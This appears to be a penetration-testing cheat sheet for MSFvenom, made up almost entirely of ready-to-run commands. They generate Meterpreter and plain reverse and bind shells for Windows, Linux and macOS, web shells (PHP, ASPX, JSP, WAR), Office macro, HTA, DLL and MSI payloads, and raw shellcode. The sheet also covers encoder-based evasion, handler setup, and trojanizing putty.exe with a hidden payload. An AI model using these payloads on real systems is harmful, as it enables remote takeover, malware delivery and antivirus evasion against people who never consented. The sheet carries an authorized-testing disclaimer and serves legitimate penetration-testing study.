MSFVENOM
Authorized use only. Offensive reference for systems you own or are explicitly permitted to test. You are responsible for staying within the law.
Interactive tool: Reverse Shell Generator
MSFvenom is Metasploit's payload generator and encoder. Combines msfpayload and msfencode into a single tool.
BASIC SYNTAX#
msfvenom -p PAYLOAD [OPTIONS] -f FORMAT > output
OPTIONS#
-p Payload to use -f Output format -e Encoder to use -i Encoding iterations -b Bad characters to avoid -a Architecture (x86, x64) --platform Target platform -o Output file -n NOP sled size -s Max payload size LHOST Local host (attacker) LPORT Local port (attacker) RHOST Remote host (target) RPORT Remote port (target)
LIST OPTIONS#
msfvenom -l payloads # List payloads msfvenom -l encoders # List encoders msfvenom -l formats # List formats msfvenom -l platforms # List platforms msfvenom -l archs # List architectures
WINDOWS PAYLOADS#
REVERSE SHELLS#
# Meterpreter reverse TCP msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f exe > shell.exe msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f exe > shell64.exe # Meterpreter reverse HTTPS (more stable) msfvenom -p windows/meterpreter/reverse_https LHOST=IP LPORT=443 -f exe > shell.exe # Shell reverse TCP (no meterpreter) msfvenom -p windows/shell_reverse_tcp LHOST=IP LPORT=4444 -f exe > shell.exe msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=4444 -f exe > shell64.exe # PowerShell reverse shell msfvenom -p windows/x64/powershell_reverse_tcp LHOST=IP LPORT=4444 -f raw
BIND SHELLS#
msfvenom -p windows/meterpreter/bind_tcp LPORT=4444 -f exe > bind.exe msfvenom -p windows/shell_bind_tcp LPORT=4444 -f exe > bind.exe
STAGED VS STAGELESS#
# Staged (smaller, needs handler) windows/meterpreter/reverse_tcp windows/shell/reverse_tcp # Stageless (larger, standalone) windows/meterpreter_reverse_tcp windows/shell_reverse_tcp
WEB PAYLOADS#
# ASPX msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f aspx > shell.aspx # ASP msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f asp > shell.asp # HTA msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f hta-psh > shell.hta # VBA (for Office macros) msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f vba > macro.vba # VBS msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f vbs > shell.vbs
DLL PAYLOADS#
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f dll > shell.dll msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f dll > shell64.dll
MSI PAYLOADS#
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f msi > shell.msi
LINUX PAYLOADS#
REVERSE SHELLS#
# Meterpreter msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f elf > shell.elf msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f elf > shell64.elf # Shell msfvenom -p linux/x86/shell_reverse_tcp LHOST=IP LPORT=4444 -f elf > shell.elf msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=4444 -f elf > shell64.elf
BIND SHELLS#
msfvenom -p linux/x86/meterpreter/bind_tcp LPORT=4444 -f elf > bind.elf
MACOS PAYLOADS#
msfvenom -p osx/x86/shell_reverse_tcp LHOST=IP LPORT=4444 -f macho > shell.macho msfvenom -p osx/x64/meterpreter_reverse_tcp LHOST=IP LPORT=4444 -f macho > shell64.macho
WEB PAYLOADS#
PHP#
msfvenom -p php/meterpreter_reverse_tcp LHOST=IP LPORT=4444 -f raw > shell.php msfvenom -p php/reverse_php LHOST=IP LPORT=4444 -f raw > shell.php
JSP#
msfvenom -p java/jsp_shell_reverse_tcp LHOST=IP LPORT=4444 -f raw > shell.jsp
WAR#
msfvenom -p java/jsp_shell_reverse_tcp LHOST=IP LPORT=4444 -f war > shell.war
PYTHON#
msfvenom -p python/meterpreter_reverse_tcp LHOST=IP LPORT=4444 -f raw > shell.py
SHELLCODE#
RAW SHELLCODE#
# C format msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f c # Python format msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f python # PowerShell format msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f powershell # Hex msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f hex # Base64 msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f base64
ENCODING#
BASIC ENCODING#
# Shikata ga nai (polymorphic) msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -e x86/shikata_ga_nai -f exe > shell.exe # Multiple iterations msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe > shell.exe
BAD CHARACTER AVOIDANCE#
# Avoid null bytes msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -b '\x00' -f exe > shell.exe # Avoid multiple msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -b '\x00\x0a\x0d' -f exe > shell.exe
COMMON ENCODERS#
x86/shikata_ga_nai # Polymorphic XOR x86/jmp_call_additive # Jump/Call/Additive x86/fnstenv_mov # fnstenv technique x64/xor # XOR encoder
HANDLER SETUP#
# Metasploit handler msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST IP; set LPORT 4444; exploit"
EVASION TIPS#
# Template injection msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -x putty.exe -f exe > infected.exe # Keep original behavior msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -x putty.exe -k -f exe > infected.exe # NOP sled msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -n 50 -f exe > shell.exe
QUICK REFERENCE#
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f exe > shell.exe msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f elf > shell.elf msfvenom -p php/meterpreter_reverse_tcp LHOST=IP LPORT=4444 -f raw > shell.php msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f aspx > shell.aspx msfvenom -p java/jsp_shell_reverse_tcp LHOST=IP LPORT=4444 -f war > shell.war msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f c msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -e x86/shikata_ga_nai -i 3 -f exe > shell.exe